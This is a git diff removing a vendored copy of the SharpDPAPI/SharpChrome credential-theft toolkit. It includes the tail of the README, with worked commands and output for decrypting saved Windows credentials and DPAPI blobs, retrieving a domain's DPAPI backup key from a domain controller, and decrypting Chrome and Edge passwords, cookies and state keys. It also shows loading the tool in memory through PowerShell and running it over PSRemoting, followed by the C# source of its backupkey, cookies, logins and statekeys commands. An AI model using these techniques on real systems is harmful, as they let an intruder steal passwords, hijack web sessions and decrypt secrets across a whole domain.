-The `/unprotect` flag will use CryptUnprotectData() to decrypt the credenial .xml without masterkeys needed, *if* the command is run from the user context who saved the passwords. This can be done from an _unprivileged_ context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's [documentation here](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem).
-
-Decrypt an exported credential .xml using CryptProtectData() (the `/unprotect` flag):
-
- PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
- PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
- PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect
-
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.5.0
-
-
- [*] Action: Describe PSCredential .xml
-
- CredFile : C:\Temp\cred.xml
- Accessed : 7/25/2019 11:53:09 AM
- Modified : 7/25/2019 11:53:09 AM
- User Name : TESTLAB\user
- guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
- size : 170
- flags : 0x0
- algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
- description :
- Password : Password123!
-
-
-Using domain {GUID}:SHA1 masterkey mappings:
-
- PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
- PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
- PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"
-
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.5.0
-
-
- [*] Action: Describe PSCredential .xml
-
- [*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
-
- [*] User master key cache:
-
- {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
-
- CredFile : C:\Temp\cred.xml
- Accessed : 7/25/2019 12:04:12 PM
- Modified : 7/25/2019 12:04:12 PM
- User Name : TESTLAB\user
- guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
- size : 170
- flags : 0x0
- algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
- description :
- Password : Password123!
-
-
-Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:
-
- PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
- PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
- PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
-
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.5.0
-
-
- [*] Action: Describe PSCredential .xml
-
- [*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
-
- [*] User master key cache:
-
- {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
-
- CredFile : C:\Temp\cred.xml
- Accessed : 7/25/2019 12:04:12 PM
- Modified : 7/25/2019 12:04:12 PM
- User Name : TESTLAB\user
- guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
- size : 170
- flags : 0x0
- algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
- description :
- Password : Password123!
-
-
-#### blob
-
-The **blob** command will describe/decrypt a DPAPI blob. A `/target:` *must* be supplied.
-
-The command will a) decrypt the blob with any "{GUID}:SHA1" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.
-
-The `/unprotect` flag will use CryptUnprotectData() to decrypt the blob without masterkeys needed, *if* the command is run from the user context who saved the passwords. This can be done from an _unprivileged_ context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's [documentation here](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem).
-
-Decrypt a blob using CryptProtectData() (the `/unprotect` flag):
-
-C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect
-
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.5.0
-
-
- [*] Action: Describe DPAPI blob
-
- [*] Using CryptUnprotectData() for decryption.
-
- guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
- size : 170
- flags : 0x0
- algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
- description :
- dec(blob) : Password123!
-
-
-Using domain {GUID}:SHA1 masterkey mappings:
-
- C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
-
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.5.0
-
-
- [*] Action: Describe DPAPI blob
-
- [*] Using CryptUnprotectData() for decryption.
-
- guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
- size : 314
- flags : 0x0
- algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
- description :
- dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...
-
-
-Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:
-
- C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
-
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.5.0
-
-
- [*] Action: Describe DPAPI blob
-
- [*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
-
- [*] User master key cache:
-
- {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
-
- guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
- size : 314
- flags : 0x0
- algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
- description :
- dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...
-
-
-#### backupkey
-
-The **backupkey** command will retrieve the domain DPAPI backup key from a domain controller using the **LsaRetrievePrivateData** API approach [from Mimikatz](https://github.com/gentilkiwi/mimikatz/blob/2fd09bbef0754317cd97c01dbbf49698ae23d9d2/mimikatz/modules/kuhl_m_lsadump.c#L1882-L1927). This private key can then be used to decrypt master key blobs for any user on the domain. And even better, the key never changes ;)
-
-Domain admin (or equivalent) rights are needed to retrieve the key from a remote domain controller.
-
-The `/nowrap` flag will prevent wrapping the base64 key on display.
-
-This base64 key blob can be decoded to a binary .pvk file that can then be used with Mimikatz' **dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk** module, or used in blob/file /pvk:X form with the **masterkeys**, **credentials**, or **vault** SharpDPAPI commands.
-
-By default, SharpDPAPI will try to determine the current domain controller via the **DsGetDcName** API call. A server can be specified with `/server:COMPUTER.domain.com`. If you want the key saved to disk instead of output as a base64 blob, use `/file:key.pvk`.
-
-Retrieve the DPAPI backup key for the current domain controller:
-
- C:\Temp>SharpDPAPI.exe backupkey
-
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.2.0
-
-
- [*] Action: Retrieve domain DPAPI backup key
-
-
- [*] Using current domain controller : PRIMARY.testlab.local
- [*] Preferred backupkey Guid : 32d021e7-ab1c-4877-af06-80473ca3e4d8
- [*] Full preferred backupKeyName : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
- [*] Key :
- HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...
-
-
-Retrieve the DPAPI backup key for the specified DC, outputting the backup key to a file:
-
- C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk
-
- __ _ _ _ ___
- (_ |_ _. ._ ._ | \ |_) /\ |_) |
- __) | | (_| | |_) |_/ | /--\ | _|_
- |
- v1.2.0
-
-
- [*] Action: Retrieve domain DPAPI backup key
-
-
- [*] Using server : primary.testlab.local
- [*] Preferred backupkey Guid : 32d021e7-ab1c-4877-af06-80473ca3e4d8
- [*] Full preferred backupKeyName : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
- [*] Backup key written to : key.pvk
-
-
-#### search
-The **search** comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs. Usage:
-```
-SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors]
-SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors]
-SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:]
-SharpDPAPI.exe search /type:base64 [/base:]
-```
-The `search` command works by searching for the following bytes, which represent the header (Version + DPAPI provider GUID) of DPAPI blob structure:
-
-```
-0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB
-```
-
-The search command has different arguments depending on the data type being scanned. To designate the data type, use the `/type` argument specifying `registry`, `folder`, `file`, or `base64`. If the `/type` argument is not present, the command will search the registry by default.
-
-When searching the registry with no other arguments, the command will recursively search the HKEY_LOCAL_MACHINE and HKEY_USERS hives. Use `/path` parameter to specify a root to key to search from (e.g. `/path:HKLM\Software`) and use the `/showErrors` argument to display errors that occuring during enumeration.
-
-When searching a file or folder, specify a path with `/path:C:\Path\to\file\or\folder` and optionally use `/maxBytes:` to specify the number of bytes to read from each file (default: 1024 bytes). The command will read the bytes from the beginning of the file and search for DPAPI blobs. Use `/showErrors` to display an errors that occur during enumeration.
-
-When searching a base64 blob, specify the base64-encoded bytes to scan with the `/base64:` parameter.
-
-
-## SharpChrome Commands
-
-### logins
-
-The **logins** command will search for Chrome 'Login Data' files and decrypt the saved login passwords. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. If `/browser:edge` is specified, the newer Chromium-based Edge browser is triaged.
-
-Login Data files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.
-
-A specific Login Data file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` is also supplied. If triaging newer Chrome/Edge instances, a `/statekey:X` AES state key can be specified.
-
-By default, logins are displayed in a csv format. This can be modified with `/format:table` for table output. Also, by default only non-null password value entries are displayed, but all values can be displayed with `/showall`.
-
-If run from an elevated context, Login Data files for ALL users will be triaged, otherwise only Login Data files for the current user will be processed.
-
-### cookies
-
-The **cookies** command will search for Chrome 'Cookies' files and decrypt cookie values. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. If `/browser:edge` is specified, the newer Chromium-based Edge browser is triaged.
-
-Cookie files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.
-
-A specific Cookies file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` is also supplied. If triaging newer Chrome/Edge instances, a `/statekey:X` AES state key can be specified.
-
-By default, cookies are displayed in a csv format. This can be modified with `/format:table` for table output, or `/format:json` for output importable by [EditThisCookie](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en). Also, by default only non-expired cookie value entries are displayed, but all values can be displayed with `/showall`.
-
-If run from an elevated context, Cookie files for ALL users will be triaged, otherwise only Cookie files for the current user will be processed.
-
-The **cookies** command also has `/cookie:REGEX` and `/url:REGEX` arguments to only return cookie names or urls matching the supplied regex. This is useful with `/format:json` to easily clone access to specific sites.
-
-### statekeys
-
-The **statekeys** command will search for Chrome/Edge AES statekey files (i.e. 'AppData\Local\Google\Chrome\User Data\Local State' and 'AppData\Local\Microsoft\Edge\User Data\Local State') and decrypts them using the same type of arguments that can be supplied for `cookies` and `logins`.
-
-State keys can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.
-
-If run from an elevated context, state keys for ALL users will be triaged, otherwise only state keys for the current user will be processed.
-
-### backupkey
-
-The **backupkey** command will retrieve the domain DPAPI backup key from a domain controller using the **LsaRetrievePrivateData** API approach [from Mimikatz](https://github.com/gentilkiwi/mimikatz/blob/2fd09bbef0754317cd97c01dbbf49698ae23d9d2/mimikatz/modules/kuhl_m_lsadump.c#L1882-L1927). This private key can then be used to decrypt master key blobs for any user on the domain. And even better, the key never changes ;)
-
-Domain admin (or equivalent) rights are needed to retrieve the key from a remote domain controller.
-
-The `/nowrap` flag will prevent wrapping the base64 key on display.
-
-This base64 key blob can be decoded to a binary .pvk file that can then be used with Mimikatz' **dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk** module, or used in blob/file /pvk:X form with the **masterkeys**, **credentials**, or **vault** SharpDPAPI commands.
-
-By default, SharpDPAPI will try to determine the current domain controller via the **DsGetDcName** API call. A server can be specified with `/server:COMPUTER.domain.com`. If you want the key saved to disk instead of output as a base64 blob, use `/file:key.pvk`.
-
-
-## Compile Instructions
-
-We are not planning on releasing binaries for SharpDPAPI, so you will have to compile yourself :)
-
-SharpDPAPI has been built against .NET 3.5 and is compatible with [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Simply open up the project .sln, choose "Release", and build.
-
-### Targeting other .NET versions
-
-SharpDPAPI's default build configuration is for .NET 3.5, which will fail on systems without that version installed. To target SharpDPAPI for .NET 4 or 4.5, open the .sln solution, go to **Project** -> **SharpDPAPI Properties** and change the "Target framework" to another version.
-
-### Sidenote: Running SharpDPAPI Through PowerShell
-
-If you want to run SharpDPAPI in-memory through a PowerShell wrapper, first compile the SharpDPAPI and base64-encode the resulting assembly:
-
- [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt
-
-SharpDPAPI can then be loaded in a PowerShell script with the following (where "aa..." is replaced with the base64-encoded SharpDPAPI assembly string):
-
- $SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
-
-The Main() method and any arguments can then be invoked as follows:
-
- [SharpDPAPI.Program]::Main("machinemasterkeys")
-
-#### Sidenote Sidenote: Running SharpDPAPI Over PSRemoting
-
-Due to the way PSRemoting handles output, we need to redirect stdout to a string and return that instead. Luckily, SharpDPAPI has a function to help with that.
-
-If you follow the instructions in [Sidenote: Running SharpDPAPI Through PowerShell](#sidenote-running-sharpdpapi-through-powershell) to create a SharpDPAPI.ps1, append something like the following to the script:
-
- [SharpDPAPI.Program]::MainString("machinemasterkeys")
-
-You should then be able to run SharpDPAPI over PSRemoting with something like the following:
-
- $s = New-PSSession dc.theshire.local
- Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1
-
-Alternatively, SharpDPAPI `/consoleoutfile:C:\FILE.txt` argument will redirect all output streams to the specified file.
diff --git a/ChloniumUI/SharpDPAPI/SharpChrome/Commands/Backupkey.cs b/ChloniumUI/SharpDPAPI/SharpChrome/Commands/Backupkey.cs
deleted file mode 100644
index e03cfbc..0000000
--- a/ChloniumUI/SharpDPAPI/SharpChrome/Commands/Backupkey.cs
+++ /dev/null
@@ -1,48 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.IO;
-
-namespace SharpChrome.Commands
-{
- public class Backupkey : ICommand
- {
- public static string CommandName => "backupkey";
-
- public void Execute(Dictionary arguments)
- {
- Console.WriteLine("\r\n[*] Action: Retrieve domain DPAPI backup key\r\n");
-
- string server = "";
- string outFile = "";
- bool noWrap = false;
-
- if (arguments.ContainsKey("/nowrap"))
- {
- noWrap = true;
- }
-
- if (arguments.ContainsKey("/server"))
- {
- server = arguments["/server"];
- Console.WriteLine("\r\n[*] Using server : {0}", server);
- }
- else
- {
- server = SharpDPAPI.Interop.GetDCName();
- if (String.IsNullOrEmpty(server))
- {
- return;
- }
- Console.WriteLine("\r\n[*] Using current domain controller : {0}", server);
- }
-
- if (arguments.ContainsKey("/file"))
- {
- // if we want the backup key piped to an output file
- outFile = arguments["/file"];
- }
-
- SharpDPAPI.Backup.GetBackupKey(server, outFile, noWrap);
- }
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpChrome/Commands/Cookies.cs b/ChloniumUI/SharpDPAPI/SharpChrome/Commands/Cookies.cs
deleted file mode 100644
index d9d8c60..0000000
--- a/ChloniumUI/SharpDPAPI/SharpChrome/Commands/Cookies.cs
+++ /dev/null
@@ -1,177 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.IO;
-
-namespace SharpChrome.Commands
-{
- public class Cookies : ICommand
- {
- public static string CommandName => "cookies";
-
- public void Execute(Dictionary arguments)
- {
- arguments.Remove("cookies");
-
- string displayFormat = "csv"; // "csv", "table", or "json" display
- string server = ""; // used for remote server specification
- bool showAll = false; // whether to display entries with null passwords
- bool unprotect = false; // whether to force CryptUnprotectData()
- bool setneverexpire = false; // set cookie output expiration dates to now + 100 years
- bool quiet = false; // don't display headers/logos/etc. (for csv/json output)
- string cookieRegex = ""; // regex to search for specific cookie names
- string urlRegex = ""; // regex to search for specific URLs for cookies
- string stateKey = ""; // decrypted AES statekey to use for cookie decryption
- string browser = "chrome"; // alternate Chromiun browser to specify, currently only "edge" is supported
-
-
- if (arguments.ContainsKey("/quiet"))
- {
- quiet = true;
- }
-
- if (arguments.ContainsKey("/browser"))
- {
- browser = arguments["/browser"].ToLower();
- }
-
- if (!quiet)
- {
- Console.WriteLine("\r\n[*] Action: {0} Saved Cookies Triage\r\n", SharpDPAPI.Helpers.Capitalize(browser));
- }
-
- if (arguments.ContainsKey("/format"))
- {
- displayFormat = arguments["/format"];
- }
-
- if (arguments.ContainsKey("/cookie"))
- {
- cookieRegex = arguments["/cookie"];
- }
-
- if (arguments.ContainsKey("/url"))
- {
- urlRegex = arguments["/url"];
- }
-
- if (arguments.ContainsKey("/unprotect"))
- {
- unprotect = true;
- }
-
- if (arguments.ContainsKey("/setneverexpire"))
- {
- setneverexpire = true;
- }
-
- if (arguments.ContainsKey("/showall"))
- {
- showAll = true;
- }
-
- if (arguments.ContainsKey("/statekey"))
- {
- stateKey = arguments["/statekey"];
- if (!quiet)
- {
- Console.WriteLine("[*] Using AES State Key: {0}\r\n", stateKey);
- }
- }
-
- if (!quiet)
- {
- if (showAll)
- {
- Console.WriteLine("[*] Triaging all cookies, including expired ones.");
- }
- else
- {
- Console.WriteLine("[*] Triaging non-expired cookies. Use '/showall' to display ALL cookies.");
- }
- }
-
- if (arguments.ContainsKey("/server"))
- {
- server = arguments["/server"];
- if (!quiet)
- {
- Console.WriteLine("[*] Triaging remote server: {0}\r\n", server);
- }
- }
-
- // {GUID}:SHA1 keys are the only ones that don't start with /
- Dictionary masterkeys = new Dictionary();
- foreach (KeyValuePair entry in arguments)
- {
- if (!entry.Key.StartsWith("/"))
- {
- masterkeys.Add(entry.Key, entry.Value);
- }
- }
- if (arguments.ContainsKey("/pvk"))
- {
- // use a domain DPAPI backup key to triage masterkeys
- masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments);
- }
- else if (arguments.ContainsKey("/mkfile"))
- {
- masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]);
- }
- else if (arguments.ContainsKey("/password"))
- {
- string password = arguments["/password"];
- if (!quiet)
- {
- Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password);
- }
- if (arguments.ContainsKey("/server"))
- {
- masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, arguments["/server"], password);
- }
- else
- {
- masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, "", password);
- }
- }
-
- if (arguments.ContainsKey("/target"))
- {
- string target = arguments["/target"].Trim('"').Trim('\'');
- byte[] stateKeyBytes = null;
-
- if (!String.IsNullOrEmpty(stateKey))
- {
- stateKeyBytes = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey);
- }
-
- if (File.Exists(target))
- {
- if (!quiet)
- {
- Console.WriteLine("[*] Target 'Cookies' File: {0}\r\n", target);
- }
- Chrome.ParseChromeCookies(masterkeys, target, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKeyBytes, quiet);
- }
- else if (Directory.Exists(target) && target.ToLower().Contains("users"))
- {
- Chrome.TriageChromeCookies(masterkeys, server, target, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKey, browser, quiet);
- }
- else
- {
- Console.WriteLine("\r\n[X] '{0}' is not a valid file or user directory.", target);
- }
- }
- else
- {
- if (arguments.ContainsKey("/server") && (masterkeys.Count == 0))
- {
- Console.WriteLine("[X] The '/server:X' argument must be used with '/pvk:BASE64...', '/password:X' , or masterkey specification !");
- }
- else
- {
- Chrome.TriageChromeCookies(masterkeys, server, "", displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKey, browser, quiet);
- }
- }
- }
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpChrome/Commands/ICommand.cs b/ChloniumUI/SharpDPAPI/SharpChrome/Commands/ICommand.cs
deleted file mode 100644
index d0e7093..0000000
--- a/ChloniumUI/SharpDPAPI/SharpChrome/Commands/ICommand.cs
+++ /dev/null
@@ -1,9 +0,0 @@
-using System.Collections.Generic;
-
-namespace SharpChrome.Commands
-{
- public interface ICommand
- {
- void Execute(Dictionary arguments);
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpChrome/Commands/Logins.cs b/ChloniumUI/SharpDPAPI/SharpChrome/Commands/Logins.cs
deleted file mode 100644
index 71cead9..0000000
--- a/ChloniumUI/SharpDPAPI/SharpChrome/Commands/Logins.cs
+++ /dev/null
@@ -1,146 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.IO;
-
-namespace SharpChrome.Commands
-{
- public class Logins : ICommand
- {
- public static string CommandName => "logins";
-
- public void Execute(Dictionary arguments)
- {
- arguments.Remove("logins");
-
- string displayFormat = "csv"; // "csv" or "table" display
- string server = ""; // used for remote server specification
- bool showAll = false; // whether to display entries with null passwords
- bool unprotect = false; // whether to force CryptUnprotectData()
- bool quiet = false; // don't display headers/logos/etc. (for csv/json output)
- string stateKey = ""; // decrypted AES statekey to use for cookie decryption
- string browser = "chrome"; // alternate Chromiun browser to specify, currently supported: "chrome", "edge", "brave"
- string target = ""; // target file/user folder to triage
-
-
- if (arguments.ContainsKey("/quiet"))
- {
- quiet = true;
- }
-
- if (arguments.ContainsKey("/browser"))
- {
- browser = arguments["/browser"].ToLower();
- }
-
- if (!quiet)
- {
- Console.WriteLine("\r\n[*] Action: {0} Saved Logins Triage\r\n", SharpDPAPI.Helpers.Capitalize(browser));
- }
-
- if (arguments.ContainsKey("/format"))
- {
- displayFormat = arguments["/format"];
- }
-
- if (arguments.ContainsKey("/unprotect"))
- {
- unprotect = true;
- }
-
- if (arguments.ContainsKey("/showall"))
- {
- showAll = true;
- }
-
- if (arguments.ContainsKey("/statekey"))
- {
- stateKey = arguments["/statekey"];
- if (!quiet)
- {
- Console.WriteLine("[*] Using AES State Key: {0}]\r\n", stateKey);
- }
- }
-
- if (arguments.ContainsKey("/server"))
- {
- server = arguments["/server"];
- if (!quiet)
- {
- Console.WriteLine("[*] Triaging remote server: {0}\r\n", server);
- }
- }
-
- // {GUID}:SHA1 keys are the only ones that don't start with /
- Dictionary masterkeys = new Dictionary();
- foreach (KeyValuePair entry in arguments)
- {
- if (!entry.Key.StartsWith("/"))
- {
- masterkeys.Add(entry.Key, entry.Value);
- }
- }
- if (arguments.ContainsKey("/pvk"))
- {
- // use a domain DPAPI backup key to triage masterkeys
- masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments);
- }
- else if (arguments.ContainsKey("/mkfile"))
- {
- masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]);
- }
- else if (arguments.ContainsKey("/password"))
- {
- string password = arguments["/password"];
- if (!quiet)
- {
- Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password);
- }
- if (arguments.ContainsKey("/server"))
- {
- masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, arguments["/server"], password);
- }
- else
- {
- masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, "", password);
- }
- }
-
- if (arguments.ContainsKey("/target"))
- {
- target = arguments["/target"].Trim('"').Trim('\'');
- byte[] stateKeyBytes = null;
-
- if (!String.IsNullOrEmpty(stateKey))
- {
- stateKeyBytes = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey);
- }
-
- if (File.Exists(target))
- {
- if (!quiet)
- {
- Console.WriteLine("[*] Target 'Login Data' File: {0}\r\n", target);
- }
- Chrome.ParseChromeLogins(masterkeys, target, displayFormat, showAll, unprotect, stateKeyBytes, quiet);
- }
- else if(Directory.Exists(target) && target.ToLower().Contains("users"))
- {
- Chrome.TriageChromeLogins(masterkeys, server, target, displayFormat, showAll, unprotect, stateKey, browser, quiet);
- }
- else
- {
- Console.WriteLine("\r\n[X] '{0}' is not a valid file or user directory.", target);
- }
- }
- else
- {
- if (arguments.ContainsKey("/server") && (masterkeys.Count == 0))
- {
- Console.WriteLine("[!] Warning: the '/server:X' argument must be used with '/pvk:BASE64...', '/password:X' , or masterkey specification for successful decryption!");
- }
-
- Chrome.TriageChromeLogins(masterkeys, server, target, displayFormat, showAll, unprotect, stateKey, browser, quiet);
- }
- }
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpChrome/Commands/Statekeys.cs b/ChloniumUI/SharpDPAPI/SharpChrome/Commands/Statekeys.cs
deleted file mode 100644
index 7caf8e1..0000000
--- a/ChloniumUI/SharpDPAPI/SharpChrome/Commands/Statekeys.cs
+++ /dev/null
@@ -1,89 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.IO;
-
-namespace SharpChrome.Commands
-{
- public class Statekeys : ICommand
- {
- public static string CommandName => "statekeys";
-
- public void Execute(Dictionary arguments)
- {
- Console.WriteLine("\r\n[*] Action: Chromium Statekey Extraction\r\n");
- arguments.Remove("statekeys");
-
- string server = ""; // used for remote server specification
- bool unprotect = false; // whether to force CryptUnprotectData()
-
- if (arguments.ContainsKey("/unprotect"))
- {
- unprotect = true;
- }
-
- if (arguments.ContainsKey("/server"))
- {
- server = arguments["/server"];
- Console.WriteLine("[*] Triaging remote server: {0}\r\n", server);
- }
-
- // {GUID}:SHA1 keys are the only ones that don't start with /
- Dictionary masterkeys = new Dictionary();
- foreach (KeyValuePair entry in arguments)
- {
- if (!entry.Key.StartsWith("/"))
- {
- masterkeys.Add(entry.Key, entry.Value);
- }
- }
- if (arguments.ContainsKey("/pvk"))
- {
- // use a domain DPAPI backup key to triage masterkeys
- masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments);
- }
- else if (arguments.ContainsKey("/mkfile"))
- {
- masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]);
- }
- else if (arguments.ContainsKey("/password"))
- {
- string password = arguments["/password"];
- Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password);
- if (arguments.ContainsKey("/server"))
- {
- masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, arguments["/server"], password);
- }
- else
- {
- masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, "", password);
- }
- }
-
- if (arguments.ContainsKey("/target"))
- {
- string target = arguments["/target"].Trim('"').Trim('\'');
-
- if (File.Exists(target))
- {
- Chrome.TriageStateKeys(masterkeys, server, unprotect, target);
- }
- else if (Directory.Exists(target) && target.ToLower().Contains("users"))
- {
